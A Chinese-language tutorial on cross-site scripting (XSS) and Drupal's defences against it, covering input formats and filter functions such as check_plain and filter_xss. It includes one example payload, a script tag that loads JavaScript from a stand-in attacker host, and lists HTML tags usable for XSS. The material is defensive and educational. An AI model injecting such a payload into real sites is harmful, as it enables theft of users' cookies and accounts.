作者:老葛,北京亚艾元软件有限责任公司,http://www.yaiyuan.com
跨站点脚本(XSS)指利用网站漏洞从用户那里恶意盗取信息。用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时,通常会点击其中的链接。攻击者通过在链接中插入恶意代码,就能够盗取用户信息。攻击者通常会用十六进制(或其他编码方式)将链接编码,以免用户怀疑它的合法性。网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面,而这个页面看起来就像是那个网站应当生成的合法页面一样。许多流行的留言本和论坛程序允许用户发表包含HTML和javascript的帖子。假设用户甲发表了一篇包含恶意脚本的帖子,那么用户乙在浏览这篇帖子时,恶意脚本就会执行,盗取用户乙的session信息。
能使用XSS的HTML标签有<script>,<object>,<applet>,<embed>,<form>.用于XSS的常见语言有JavaScript,VBScript,HTML,Perl,C++,ActiveX,Flash.
现在的网站,都在强调与用户之间的互动,网站的很多内容,信息,是由普通用户生成的。对于大多数的用户来说,他们会按照我们的预期填写数据,然后提交给我们。但是也有很小的那么一部分,他们不按照规则形式。我们在方便前者的同时,不得不对后者做出防备。
假定你允许用户向你的网站输入HTML,期望他们这么输入
<em>大家好!</em> 此处省略10000字...
但是他们输入了
<script src=”http://evil.example.com/xss.js”></script>
当用户访问这个页面时,就有可能触发这个恶意的JS代码。对于受害者来说,会造成多种后果,可能会造成帐户信息被盗,访问各种虚假广告链,Cookie信息失窃等等。
对于XSS,最简单的办法就是过滤用户输入,屏蔽用户输入的部分标签。我们来看看Drupal中,我们怎么解决这个问题。
Drupal提供了多种输入格式,用来过滤内容输出。以节点为例,用户创建了一篇文章,Drupal将文章正文原封不动的保存到数据库中,当生成web页面输出时,就会使用输入格式包含的过滤器对文本进行过滤,这样就可以很好的过滤恶意的HTML代码。为不同角色的用户,选用不同的输入格式。这是我们在构建一个站点时,从安全方面应该考虑的。
Drupal也提供了多个API函数,用来过滤用户的输入。我们在开发模块的时候,需要处理用户输入时,应该考虑使用这些函数,比如check_plain、check_markup 、check_url 、filter_xss、filter_xss_admin。对于纯文本来说,我们使用check_plain,check_url;对于富文本来说,我们使用check_markup、filter_xss、filter_xss_admin。